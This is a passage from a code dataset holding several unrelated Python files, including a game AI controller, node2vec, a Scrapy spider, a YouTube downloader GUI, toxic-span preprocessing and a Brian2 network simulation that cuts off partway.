death\n # if crashWall/ai.selfSpeed() > ai.closestShot() :\n if wallNum == 1 or wallNum == 5 or wallNum == 6: #Front Wall is Closest (Turn Away From It)\n DataMinerBD.tturnLeftDummy(1)\n \n elif wallNum == 2 : # Left Wall is Closest (Turn Away From It)\n DataMinerBD.tturnRightDummy(1)\n \n elif wallNum == 3 : #Right Wall is Closest (Turn Away From It)\n DataMinerBD.tturnLeftDummy(1)\n \n else : #Back Wall is closest- turn so that we are facing directly away from it\n if backLeftWall < backRightWall:\n DataMinerBD.tturnRightDummy(1) #We need to turn right to face more directly away from it\n \n \n if backLeftWall > backRightWall: # We need to turn left to face more directly away from it\n DataMinerBD.tturnLeftDummy(1)\n \n \n \n \n #Rules for thrusting\n \n if speed < maxSpeed and frontWall > 100: #If we are moving slowly and we won't ram into anything, accelerate\n DataMinerBD.tthrustDummy(1)\n elif trackWall < 200 and (ai.angleDiff(heading, tracking) > 120): #If we are getting close to a wall, and we can thrust away from it, do so\n DataMinerBD.tthrustDummy(1)\n elif backWall < 20: #If there is a wall very close behind us, get away from it\n DataMinerBD.tthrustDummy(1)\n \n if abs(calcDir - heading) < shotAngle and calcDir != -1: #If we are close to the current proper trajectory for a shot then fire\n DataMinerBD.tshootDummy()\n \n previousScore = ai.selfScore()\n \n \n dummyLoop()\n\n\n def getInputs(self):\n #The code in config is inserted into the updateInputs function so you can pull any data you want using ai.(some xpilot-ai function) and adding it with self.addInput(\"Some Float\")\n #You can technically also add outputs with self.addOutput if you want your neural network to predict or control something beyond normal but this might not work nicely with the autogenerated controller\n #The trainer checks the size of both the input and output datasets and will build a network to accomodate these sizes automatically\n\n #Until the next comment is code for pulling relevant data from the game\n heading = int(ai.selfHeadingDeg())\n tracking = int(ai.selfTrackingDeg())\n \n backWall = ai.wallFeeler(500, heading - 180)\n backLeftWall = ai.wallFeeler(500, heading - 190)\n backRightWall = ai.wallFeeler(500, heading - 170)\n \n frontWall = ai.wallFeeler(500,heading)\n flWall = ai.wallFeeler(500, heading + 10)\n frWall = ai.wallFeeler(500, heading - 10)\n \n leftWall = ai.wallFeeler(500,heading+90)\n llWall = ai.wallFeeler(500, heading + 100)\n rlWall = ai.wallFeeler(500, heading + 80)\n \n rightWall = ai.wallFeeler(500,heading-90)\n lrWall = ai.wallFeeler(500, heading - 80)\n rrWall = ai.wallFeeler(500, heading - 100)\n \n \n\n calcDir = 0\n targetX, targetY = ai.screenEnemyX(0), ai.screenEnemyY(0)\n if targetX- ai.selfX() != 0:\n calcDir = int(math.degrees(math.atan2((targetY - ai.selfY()), (targetX- ai.selfX()))) + 360)%360\n \n calcDiff = ai.angleDiff(heading, calcDir)\n trackDiff = ai.angleDiff(heading, tracking)\n\n\n\n speed = ai.selfSpeed()\n fFan = min(frontWall, flWall, frWall)\n lFan = min(leftWall, llWall, rlWall)\n rFan = min(rightWall, rrWall, lrWall)\n bFan = min(backWall, backLeftWall, backRightWall)\n trackWall = ai.wallFeeler(500, tracking)\n \n #Everything below here is just selecting inputs for training - play around by commenting and uncommenting different inputs, or try adding your own!\n self.addTurnInput(1/(frontWall+1))\n self.addTurnInput(1/(leftWall+1))\n self.addTurnInput(1/(rightWall+1))\n self.addTurnInput(1/(backWall+1))\n self.addTurnInput(calcDiff/180)\n self.addTurnInput(trackDiff/180)\n self.addTurnInput(speed/(trackWall+1))\n #self.addTurnInput(heading/360)\n #self.addTurnInput(calcDir/360)\n \n #self.addTurnInput(1/(backLeftWall+1))\n #self.addTurnInput(1/(backRightWall+1))\n \n\n #self.addInput(fFan)\n #self.addInput(rFan)\n #self.addInput(lFan)\n #self.addInput(bFan)\n #self.addInput(tracking)\n\n self.addShootInput(calcDiff/180)\n \n self.addThrustInput(trackDiff/180)\n self.addThrustInput(speed)\n self.addThrustInput(1/(trackWall+1))\n self.addThrustInput(1/(backWall+1))\n \n\n\n\n def act(self):\n if ai.selfAlive():\n self.getInputs()\n #self.printInputs()\n steerOutput = self.steeringNet.activate(self.steerInputs)[0]\n thrustOutput = self.thrustingNet.activate(self.thrustInputs)[0]\n shootOutput = self.shootingNet.activate(self.shootInputs)[0]\n print([steerOutput, thrustOutput, shootOutput])\n if steerOutput > .5:\n ai.turnLeft(1)\n ai.turnRight(0)\n else:\n ai.turnRight(1)\n ai.turnLeft(0)\n if thrustOutput > .5:\n ai.thrust(1)\n else :\n ai.thrust(0)\n if shootOutput > .5:\n ai.fireShot()\n self.resetInputs()\n else:\n self.steeringNet.reset()\n self.thrustingNet.reset()\n self.shootingNet.reset()\n \ncon = controller()\nglobal loopCount, lastLoop\nloopCount = 0\nlastLoop = 0\ndef AI_loop():\n \n if ai.selfAlive():\n \n global loopCount, lastLoop\n con.act()\n loopCount+=1\n con.dummyCode()\n DataMinerBD.updateInputs()\n DataMinerBD.updateOutputs()\n DataMinerBD.savePair()\n if loopCount % 100 == 0:\n print(loopCount)\n if loopCount > 1000:\n DataMinerBD.writeData()\n ai.quitAI()\n lastLoop = 1\n else:\n if lastLoop == 1:\n DataMinerBD.writeDeath()\n lastLoop = 0\nai.start(AI_loop,[\"-name\",\"Mimic\",\"-join\",\"localhost\"]) \n","sub_path":"MagicStuff/generatedMimic.py","file_name":"generatedMimic.py","file_ext":"py","file_size_in_byte":19465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"198058701","text":"###############################################################################\n#\tFilename:\tGenericTemplate.py\n#\t\n#\tConfidential and Proprietary, Copyright 2000 by Totally Games\n#\t\n#\tThis is a generic \"ship file\" template. Save this as another name, and\n#\tmodify the data fields below to add a new ship.\n#\n#\tNote that this is different from the hardpoint file, which is in the\n#\tHardpoints subdirectory.\n#\t\n#\tCreated:\t8/29/00 -\tErik Novales\n###############################################################################\n\nimport App\nimport LoadSpaceHelper\nimport Multiplayer.SpeciesToShip\n\n\n#kDebugObj = App.CPyDebug()\n\ndef GetShipStats():\n\tkShipStats = {\n\t\t\"FilenameHigh\": \"data/Models/Ships/BlahBlah.nif\",\t# filename of High NIF model\n\t\t\"FilenameMed\": \"data/Models/Ships/BlahBlahMed.nif\",\t# filename of Med NIF model\n\t\t\"FilenameLow\": \"data/Models/Ships/BlahBlahLow.nif\",\t# filename of Low NIF model\n\t\t\"Name\": \"BlahBlah\",\t\t\t\t\t\t\t\t\t# name of ship. Note that\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# this will go away\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# eventually, because the\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# ship name will be set in\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# the ship property.\n\t\t\"HardpointFile\": \"blahblah\",\t\t\t\t\t\t# file name of hardpoint file\n\t\t\"Species\": Multiplayer.SpeciesToShip.AKIRA\t\t\t# Network species of the object\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Create a new species number in\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Multiplayer.SpeciesToShip when\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# you add a new ship type\n\treturn kShipStats\n\ndef LoadModel(bPreLoad = 0):\n\tpStats = GetShipStats()\n\n\t# Create the LOD info\n\tif (not App.g_kLODModelManager.Contains(pStats[\"Name\"])):\n\t\t# Params are: File Name, PickLeafSize, SwitchOut Distance,\n\t\t# Surface Damage Res, Internal Damage Res, Burn Value, Hole Value,\n\t\t# Search String for Glow, Search string for Specular, Suffix for specular\n\t\tpLODModel = App.g_kLODModelManager.Create(pStats[\"Name\"])\n\t\tpLODModel.AddLOD(pStats[\"FilenameHigh\"], 10, 25.0, 15.0, 15.0, 400, 900, \"_glow\", None, \"_specular\")\n\t\tpLODModel.AddLOD(pStats[\"FilenameMed\"], 10, 50.0, 15.0, 15.0, 400, 900, \"_glow\", None, \"_specular\")\n\t\tpLODModel.AddLOD(pStats[\"FilenameLow\"], 10, 300.0, 15.0, 30.0, 400, 900, \"_glow\", None, None)\n\n#\t\tkDebugObj = App.CPyDebug()\n\t\tif (bPreLoad == 0):\n\t\t\tpLODModel.Load()\n#\t\t\tkDebugObj.Print(\"Loading \" + pStats[\"Name\"] + \"\\n\")\n\t\telse:\n\t\t\tpLODModel.LoadIncremental()\n#\t\t\tkDebugObj.Print(\"Queueing \" + pStats[\"Name\"] + \" for pre-loading\\n\")\n\ndef PreLoadModel():\n\tLoadModel(1)\n","sub_path":"src/scripts/ships/GenericTemplate.py","file_name":"GenericTemplate.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"346170497","text":"'''\nReference implementation of node2vec. \n\nAuthor: Aditya Grover\n\nFor more details, refer to the paper:\nnode2vec: Scalable Feature Learning for Networks\nAditya Grover and Jure Leskovec \nKnowledge Discovery and Data Mining (KDD), 2016\n'''\n\nimport argparse\nimport numpy as np\nimport networkx as nx\nimport node2vec\nfrom collections import defaultdict\n\ndef parse_args():\n '''\n Parses the node2vec arguments.\n '''\n parser = argparse.ArgumentParser(description=\"Run node2vec.\")\n\n parser.add_argument('--input', nargs='?', default='graph/karate.edgelist',\n help='Input graph path')\n\n parser.add_argument('--output', nargs='?', default='emb/karate.emb',\n help='Embeddings path')\n\n parser.add_argument('--dimensions', type=int, default=128,\n help='Number of dimensions. Default is 128.')\n\n parser.add_argument('--walk-length', type=int, default=80,\n help='Length of walk per source. Default is 80.')\n\n parser.add_argument('--num-walks', type=int, default=10,\n help='Number of walks per source. Default is 10.')\n\n parser.add_argument('--window-size', type=int, default=10,\n help='Context size for optimization. Default is 10.')\n\n parser.add_argument('--iter', default=1, type=int,\n help='Number of epochs in SGD')\n\n parser.add_argument('--workers', type=int, default=8,\n help='Number of parallel workers. Default is 8.')\n\n parser.add_argument('--p', type=float, default=1,\n help='Return hyperparameter. Default is 1.')\n\n parser.add_argument('--q', type=float, default=1,\n help='Inout hyperparameter. Default is 1.')\n\n parser.add_argument('--weighted', dest='weighted', action='store_true',\n help='Boolean specifying (un)weighted. Default is unweighted.')\n parser.add_argument('--unweighted', dest='unweighted', action='store_false')\n parser.set_defaults(weighted=False)\n\n parser.add_argument('--directed', dest='directed', action='store_true',\n help='Graph is (un)directed. Default is undirected.')\n parser.add_argument('--undirected', dest='undirected', action='store_false')\n parser.set_defaults(directed=False)\n\n return parser.parse_args()\n\ndef read_graph():\n '''\n Reads the input network in networkx.\n '''\n G = nx.Graph()\n with open(args.input) as f:\n for index,line in enumerate(f):\n if index % 100000 == 0:\n print(\"loading:\",index)\n line = [int(x) for x in line.split()]\n G.add_edge(line[0],line[1])\n print(\"to undirected\")\n G = G.to_undirected()\n print(\"loaded\")\n return G\n\ndef learn_embeddings(G):\n '''\n Learn embeddings by optimizing the Skipgram objective using SGD.\n '''\n #walks = [map(str, walk) for walk in walks]\n from gensim.models import Word2Vec\n model = Word2Vec(size=args.dimensions, window=args.window_size, min_count=0, sg=1, workers=args.workers, iter=args.iter)\n degree = G.G.degree()\n model.raw_vocab = defaultdict(int,(zip([str(x) for x in degree.keys()],degree.values())))\n model.finalize_vocab()\n model.corpus_count = args.num_walks*args.walk_length*len(G.G.nodes())\n model.total_words = long(len(G.G.nodes()))\n model.train(G.simulate_walks(args.num_walks, args.walk_length))\n\n model.save_word2vec_format(args.output)\n return\n\ndef save_walks(G):\n with open(args.output,'w') as f:\n index = 0\n for walk in G.simulate_walks(args.num_walks, args.walk_length):\n if index % 100000 == 0:\n print(\"writing:\",index)\n f.write(\" \".join(walk)+\"\\n\")\n index += 1\n\ndef main(args):\n '''\n Pipeline for representational learning for all nodes in a graph.\n '''\n nx_G = read_graph()\n G = node2vec.Graph(nx_G, args.directed, args.p, args.q)\n G.preprocess_transition_probs()\n #learn_embeddings(G)\n save_walks(G)\n\nif __name__ == \"__main__\":\n args = parse_args()\n main(args)\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"652570153","text":"import sys\r\n\r\nm, n = map(int, sys.stdin.readline().split())\r\nbox = []\r\nripe = []\r\nfor i in range(n):\r\n line = list(map(int, sys.stdin.readline().split()))\r\n box.append(line)\r\n for j in range(m):\r\n if line[j] == 1:\r\n ripe.append([i, j])\r\n\r\ntemp = ripe.copy()\r\nday = 0\r\nwhile True:\r\n if len(temp):\r\n temp2 = []\r\n for x, y in temp:\r\n neighbor = [[x + 1, y], [x, y + 1], [x - 1, y], [x, y - 1]]\r\n for z, w in neighbor:\r\n if -1 < z < n and -1 < w < m and box[z][w] == 0:\r\n temp2.append([z, w])\r\n box[z][w] = 1\r\n temp = temp2.copy()\r\n day += 1\r\n else:\r\n break\r\nflag = True\r\nfor i in box:\r\n if i.count(0):\r\n flag = False\r\nprint(day-1 if flag else -1)","sub_path":"python/p7576.py","file_name":"p7576.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"93010892","text":"#!/usr/bin/env python3\n\"\"\"\nFunction that performs a convolution on images with channels\n\"\"\"\n\nimport numpy as np\n\n\ndef convolve_channels(images, kernel, padding='same', stride=(1, 1)):\n \"\"\"\n Function that performs a convolution on images with channels\n \"\"\"\n m, image_h, image_w, image_c = images.shape\n kernel_h, kernel_w, kernel_c = kernel.shape\n stride_h, stride_w = stride\n\n if isinstance(padding, tuple):\n padding_h, padding_w = padding\n if padding is 'same':\n padding_h = int(((stride_h * image_h)\n - stride_h + kernel_h - image_h) / 2) + 1\n padding_w = int(((stride_w * image_w)\n - stride_w + kernel_w - image_w) / 2) + 1\n if padding is 'valid':\n padding_h, padding_w = 0, 0\n\n output_h = int(((image_h + (2 * padding_h) - kernel_h) / stride_h) + 1)\n output_w = int(((image_w + (2 * padding_w) - kernel_w) / stride_w) + 1)\n conv_output = np.zeros((m, output_h, output_w))\n\n img_m = np.arange(0, m)\n\n images = np.pad(\n images,\n [(0, 0), (padding_h, padding_h), (padding_w, padding_w), (0, 0)],\n mode='constant',\n constant_values=0)\n\n for i in range(output_h):\n for j in range(output_w):\n s_h = (stride_h)\n s_w = (stride_w)\n multiply = images[\n img_m,\n i*s_h:kernel_h+i*s_h,\n j*s_w:kernel_w+j*s_w]\n conv_output[img_m, i, j] = np.sum(\n np.multiply(multiply, kernel), axis=(1, 2, 3))\n return conv_output\n","sub_path":"math/0x04-convolutions_and_pooling/4-convolve_channels.py","file_name":"4-convolve_channels.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"45816599","text":"#coding=utf-8\nimport scrapy\nimport json\n\nfrom pvpSpider.items import ItemItem\n\n\nclass ItemSpider(scrapy.Spider):\n def __init__(self):\n pass\n\n name = \"itemSpider\"\n allowed_domains = [\"qq.com\"]\n start_urls = [\n \"http://pvp.qq.com/web201605/js/item.json\"\n ]\n\n item_type_disc = {1: \"攻击\", 2: \"法术\", 3: \"防御\", 4: \"移动\", 5: \"打野\", 7: \"辅助\"}\n\n def parse(self, response):\n filename = 'data/' + response.url.split('/')[-1]\n with open(filename, 'wb') as f:\n f.write(response.body)\n\n itemlist = json.loads(response.body)\n\n for item in itemlist:\n itemItem = ItemItem()\n itemItem['item_id'] = item['item_id']\n itemItem['item_name'] = item['item_name']\n itemItem['item_type'] = self.item_type_disc[item['item_type']]\n itemItem['price'] = item['price']\n itemItem['total_price'] = item['total_price']\n itemItem['item_desc1'] = item['des1'].replace(\"

    \", \"\").replace(\"

    \", \"\").replace(\"
    \", \" \")\n itemItem['item_desc2'] = item.get('des2', \"\").replace(\"

    \", \"\").replace(\"

    \", \"\").replace(\"
    \", \" \")\n\n yield itemItem\n","sub_path":"pvpSpider/spiders/ItemSpider.py","file_name":"ItemSpider.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"428604082","text":"#!/usr/bin/python\n\nimport sys\nfrom plot_defaults import *\nfrom numpy import *\nfrom pylab import *\nfrom matplotlib import rcParams\nimport matplotlib.patches as mpatches\nimport matplotlib.pyplot as plt\n\n\n#basics\nmyfig = figure(figsize=(14,8))\nmyfig.subplots_adjust(left=0.14)\nmyfig.subplots_adjust(bottom=0.12)\nmyfig.subplots_adjust(top=0.967)\nmyfig.subplots_adjust(right=0.98)\n\n# Load data files - uncomment as required\ndata = loadtxt(\"kin2pot_data.dat\")\ntff = 200.080\nt = data[:,1]/tff\nkin2pot_global = abs(data[:,3])\nkin2pot_1local = abs(data[:,5])\nkin2pot_2local = abs(data[:,7])\nkin2pot_3local = abs(data[:,9])\n\n# Plot\nk2pg, = plot(t,kin2pot_global,'b',linewidth=2)\nk2p1l, = plot(t,kin2pot_1local,'r',linewidth=2)\nk2p2l, = plot(t,kin2pot_2local,'g',linewidth=2)\nk2p3l, = plot(t,kin2pot_3local,'c',linewidth=2)\n\n# Make stuff look pretty\n# Set axes limits\nxmin = 0\nxmax = max(t)\nymin = 0\nymax = 8\naxis([xmin,xmax,ymin,ymax])\nax = gca()\n# Axis label position\nxlabelx = 0.5\nxlabely = -0.115\nylabelx = -0.08\nylabely = 0.5\nlabelsize = 28\n# Axis label text\nxlabelstring = r\"$t/t_{\\mathrm{ff}}$\"\ntext(xlabelx,xlabely,xlabelstring,fontsize=labelsize,\n horizontalalignment=\"center\",transform=ax.transAxes)\nylabelstring = r\"$|E_{\\mathrm{kin}}/E_{\\mathrm{pot}}|$\"\ntext(ylabelx,ylabely,ylabelstring,fontsize=labelsize,\n verticalalignment=\"center\",rotation='vertical',transform=ax.transAxes)\n# Legend\nmylegend = ax.legend((k2pg,k2p1l,k2p2l,k2p3l),\\\n(r'Global',r'$r\\leq0.25r_{\\mathrm{g}}$','$r\\leq0.5r_{\\mathrm{g}}$',r'$r\\leq0.75r_{\\mathrm{g}}$'),\\\nloc=(0.7,0.55))\nmylegend.draw_frame(True)\nmyframe = mylegend.get_frame()\nsetp(myframe, linewidth = 0)\nmylegendtext = mylegend.get_texts()\nmylegendlines = mylegend.get_lines()\nsetp(mylegendtext, fontsize=28)\nsetp(mylegendlines, linewidth=2)\ngca().add_artist(mylegend)\n\n# Save plot to pdf - uncomment as required\nsavefig(\"kin2pot_plot.pdf\")\n","sub_path":"term-project/kin2pot_plot.py","file_name":"kin2pot_plot.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"556998993","text":"import pygame\n\nclass Logo():\n \n def __init__(self, screen):\n \"\"\"inicjacja obrazu i jego położenie początkowe\"\"\"\n \n self.screen = screen\n \n #Wczytanie obrazu statku kosmicznego i pobranie jego prostokąta\n #\n self.image = pygame.image.load('images/content.gif')\n self.rect = self.image.get_rect()\n self.screen_rect = screen.get_rect()\n \n #Każdy nowy statek pojawia się na środku ekranu\n self.rect.centery = self.screen_rect.centery\n self.rect.centerx = self.screen_rect.centerx\n #self.rect.bottom = self.screen_rect.bottom\n \n #Opcja wskazująca na poruszanie się statku\n self.moving_right = False\n self.moving_left = False\n \n\n \n\n\n \n def blitme(self):\n \"\"\"Wyświetlanie statku w aktualnym położeniu\"\"\"\n self.screen.blit(self.image, self.rect)\n \n","sub_path":"PYTHON_INSTRUKCJE_DLA_PROGRAMISTY/CW_12_1/obraz.py","file_name":"obraz.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"596637701","text":"def record_guess(pattern_dict, pattern, guess):\n \"\"\"Updates the `pattern_dict` dictionary by either creating a new entry\n or updating an existing entry for key `pattern`, increasing the count \n corresponding to `guess` in the list.\"\"\"\n pattern_dict.setdefault(pattern, [0, 0]) \n pattern_dict[pattern][0 if (int(guess) == 1) else 1] += 1 \n\n\ndef next_placement(pattern_dict, pattern):\n \"\"\"Returns the next best location for the poison (either '1' or '2')\n to outwit the player. Returns '2' if the pattern has not been seen \n previously or the counts are tied.\"\"\"\n if (pattern not in pattern_dict or pattern_dict[pattern][0] == pattern_dict[pattern][1]):\n return '2'\n else:\n return \"1\" if (pattern_dict[pattern][0] < pattern_dict[pattern][1]) else \"2\"\n \n\ndef play_interactive(pattern_length=4):\n \"\"\"Starts an interactive game session and takes player input as guesses.\"\"\"\n d = {}\n pattern = \"\"\n wins = [0, 0]\n \n def game(d, pattern, wins):\n print(\"Where is the iocane powder: my cup (1) or yours (2)?\")\n g = input()\n if (g != \"1\" and g != \"2\"):\n return\n record_guess(d, pattern, g)\n if (len(pattern) + 1 < pattern_length):\n pattern += g\n else:\n pattern = pattern[1:pattern_length+1] + g\n \n if (next_placement(d, pattern) == g):\n print(\"Good guess! Ack! I drank the poison!\")\n wins[1] += 1\n else:\n print(\"Wrong! Ha! Never bet against a Sicilian!\")\n wins[0] += 1\n\n print(\"You died \" + str(wins[0]) + \" times, and I drank the poison \" + str(wins[1]) + \" times\")\n game(d, pattern, wins)\n \n game(d, pattern, wins)\n\t\ndef play_batch(guesses, pattern_length=4):\n d = {}\n pattern = \"\"\n wins = [0, 0]\n for g in guesses:\n wins[0 if (next_placement(d, pattern) == g) else 1] += 1\n record_guess(d, pattern, g)\n if (len(pattern) < pattern_length):\n pattern += g\n else:\n pattern = pattern[1:pattern_length+1] + g\n \n return tuple(wins)\n\nplay_interactive()","sub_path":"Iocane.py","file_name":"Iocane.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"225305204","text":"'''\nFunction:\n define the cross entropy loss\nAuthor:\n Charles\n'''\nimport torch.nn.functional as F\n\n\n'''binary cross entropy loss'''\ndef BinaryCrossEntropyLoss(preds, targets, loss_weight=1.0, size_average=True, avg_factor=None):\n loss = F.binary_cross_entropy(preds, targets.float(), reduction='none')\n if avg_factor is None:\n loss = loss.mean() if size_average else loss.sum()\n else:\n loss = (loss.sum() / avg_factor) if size_average else loss.sum()\n return loss * loss_weight","sub_path":"modules/losses/CELoss.py","file_name":"CELoss.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"127894553","text":"from ..models import Resposta\n\n\n\ndef cadastrar_Resposta(resposta):\n Resposta.objects.create(\n Resposta = resposta.Resposta,\n RespostaMuitoRaramente = resposta.RespostaMuitoRaramente,\n RespostaAsVezes = resposta.RespostaAsVezes,\n RespostaFrequentemente = resposta.RespostaFrequentemente,\n RespostaSempre = resposta.RespostaSempre,\n questionario = resposta.questionario\n \n )\n\ndef listar_resposta():\n return Resposta.objects.all()","sub_path":"gerenciador_tarefas/app/services/resposta_service.py","file_name":"resposta_service.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"554514885","text":"\"\"\"\nProject Toxic Span Detection\nImplementation of class preprocessing input data from SemEval into dataframe\n@authors: Julia Kłos, Patrycja Cieplicka\n@date: 12.01.2020\n\"\"\"\n\nimport pandas as pd\nfrom ast import literal_eval\nimport numpy as np\nfrom src.WordsExtraction import WordsExtraction\nfrom src.preprocessing import clean_str, preprocess_bayes, get_diff\nfrom nltk import tokenize\n\nclass SemEvalData(DataProcessing):\n \"\"\"\n Class representing SemEvalData and preprocessing the data into dataframe\n \"\"\"\n def __init__(self, MAX_WORD_NUM=40):\n self.MAX_WORD_NUM = MAX_WORD_NUM\n\n def load_data(self, path):\n self.train = pd.read_csv(path) ##\"data/tsd_trial.csv\"\n self.train[\"spans\"] = self.train.spans.apply(literal_eval)\n return self.train\n \n def preprocess(self):\n null_check = self.train.isnull().sum()\n self.train[\"text\"].fillna(\"unknown\", inplace=True)\n self.train[\"toxicity\"] = ( self.train.spans.map(len) > 0 ).astype(int)\n words_extractor = WordsExtraction()\n self.train['toxic_words'] = self.train.apply(lambda row: words_extractor.extractToxicWordIndexUsingSpans(row), axis=1)\n self.train['original_text'] = self.train['text']\n ## clean text\n self.train['text'] = self.train.apply(lambda row: clean_str(row.text), axis=1)\n ## clean toxic words - previously it was only clean_str\n self.train['toxic_words'] = self.train.apply(lambda row: [clean_str(word) for word in row.toxic_words], axis =1 )\n ## extract senteces\n self.train['sentences'] = self.train.apply(lambda row: tokenize.sent_tokenize(row.text), axis=1)\n self.train['diff'] = self.train.apply(lambda row: get_diff(row.original_text, row.text), axis= 1)\n\n ## toxity per sentence\n self.train['toxicity_sentence'] = self.train.apply(lambda row: self.__extract_toxity(row.toxic_words, row.sentences), axis = 1)\n \n return self.train\n\n def __extract_toxity(self,toxic_words, sentences):\n toxicity = []\n for sentence in sentences:\n if any(word in sentence for word in toxic_words):\n toxicity.append(1.0)\n else:\n toxicity.append(0.0)\n return toxicity\n def get_classes_amount(self, train_df):\n return super().get_classes_amount(train_df)\n def get_missing_class_elements(self,df, N, classValue):\n return super().get_missing_class_elements(df, N, classValue)","sub_path":"src/SemEvalData.py","file_name":"SemEvalData.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"448046762","text":"from Tkinter import *\r\nfrom pytube import YouTube\r\nimport os,sys\r\ndef download(bt,link,q,dir,area):\r\n area.insert(INSERT,link)\r\n quality = q\r\n area.config(state=NORMAL)\r\n area.insert(INSERT, \"FILE IS PROCESSING FOR DOWNLOADING ..... PLEASE WAIT\\n\")\r\n area.config(state=DISABLED)\r\n file = YouTube(link)\r\n s = file.filter(quality)\r\n if not len(s):\r\n area.config(state=NORMAL)\r\n area.insert(INSERT, \"The quality %s is not supported in the specified video\\n\" % (quality))\r\n area.insert(INSERT, \"the supported formats are %s \" % (file.get_videos()))\r\n area.config(state=DISABLED)\r\n sys.exit()\r\n res = str(s[len(s) - 1])\r\n res = res.split(quality)[-1]\r\n resolution = res[3:8]\r\n final_reso = \"\"\r\n for i in range(len(resolution)):\r\n if not resolution[i] == ' ':\r\n final_reso += resolution[i]\r\n area.config(state=NORMAL)\r\n area.insert(INSERT, \"You are going to download %s with <%s , %s>\\n\" % (file.filename, quality, final_reso))\r\n area.config(state=DISABLED)\r\n File = file.get(quality, final_reso)\r\n File.download(dir)\r\n area.config(state=NORMAL)\r\n area.insert(INSERT, \"FILE IS DOWNLOADING ..... done\")\r\n area.config(state=DISABLED)\r\n\r\ndef main():\r\n window = Tk()\r\n window.title(\"Custom youtube downloader\")\r\n label1 = Label(window, text=\"Video link : \")\r\n entry1 = Entry(window)\r\n # avilableVideos=Text(window)\r\n label2 = Label(window, text=\"Video format: \")\r\n entry2 = Entry(window)\r\n label3 = Label(window, text=\"Destination folder : \")\r\n entry3 = Entry(window)\r\n statusArea = Text(window)\r\n statusArea.config(state=DISABLED)\r\n button = Button(window, text=\"download\",command=lambda: download(button,entry1.get(), entry2.get(), entry3.get(), statusArea))\r\n\r\n button.config(relief=RAISED)\r\n label1.pack(side=TOP)\r\n entry1.pack(side=TOP)\r\n label2.pack(side=TOP)\r\n entry2.pack(side=TOP)\r\n label3.pack(side=TOP)\r\n entry3.pack(side=TOP)\r\n button.pack(side=TOP)\r\n statusArea.pack(side=TOP)\r\n window.mainloop()\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"CustomYoutubeDownloader.py","file_name":"CustomYoutubeDownloader.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"103770491","text":"import brian2.numpy_ as np\nimport brian2.only as bb\nfrom brian2 import ms, second, Hz, mV, pA, nS, pF, Quantity\nfrom time import time, asctime\n\n# some custom modules\nfrom assemblyseq import plotter, calc_spikes\n\n\neqs_exc = '''dv/dt = (g_l*(v_r-v)+Ie+Ii+I)/(C_m) : volt\n dge/dt = -ge/(tau_exc) : siemens\n dgi/dt = -gi/(tau_inh) : siemens\n Ie = ge*(v_e-v) : amp\n Ii = gi*(v_i-v) : amp\n I : amp '''\neqs_inh = '''dv/dt = (g_l*(v_r-v)+Ie+Ii+I)/(C_m) : volt\n dge/dt = -ge/(tau_exc) : siemens\n dgi/dt = -gi/(tau_inh) : siemens\n Ie = ge*(v_e-v) : amp\n Ii = gi*(v_i-v) : amp\n I : amp '''\neq_stdp = '''dapost/dt = -apost/tau_stdp : 1 (event-driven)\n dapre/dt = -apre/tau_stdp : 1 (event-driven)\n w: siemens '''\n\neq_pre = '''gi_post+=w\n w=clip(w+eta_p*(apost-alpha)*g_ei,g_min,g_max)\n apre+=1'''\neq_post = '''w=clip(w+eta_p*apre*g_ei,g_min,g_max)\n apost+=1'''\n\n\n# defines an extra clock according to which some extra input currents \n# can be injected; \n# one can play with changing conductances etc...\n\nsyn_input_freq = 1. * Hz # frequency of current input oscillation\nmyclock = bb.Clock(dt=10 * ms) # create an extra clock\n\n\n@bb.network_operation(myclock)\ndef inject():\n \"\"\"\n Injects currents into neuronal populations...off by default\n \"\"\"\n if myclock.t > 25000 * ms:\n nn.Pe.I = (nn.ext_input +\n nn.Isine * (1. + 0 * np.sin(2 * np.pi * myclock.t * syn_input_freq)))\n nn.Pi.I = (nn.ext_input +\n nn.Isini * (1. + 0 * np.sin(2 * np.pi * myclock.t * syn_input_freq)))\n\n\nclass Nets:\n def __init__(self, config):\n \"\"\"\n Ne: number of excitatory neurons\n r_ie: ration of Ni/Ne\n cp_yx: connection probability from x to y\n if type_ext_input=='pois': ext_input={'N_p:10000','f_p':25,\n 'coef_ep':1., 'sp':.02}\n !!!\n due to current limitations (that I wanna set all g_ee once and\n 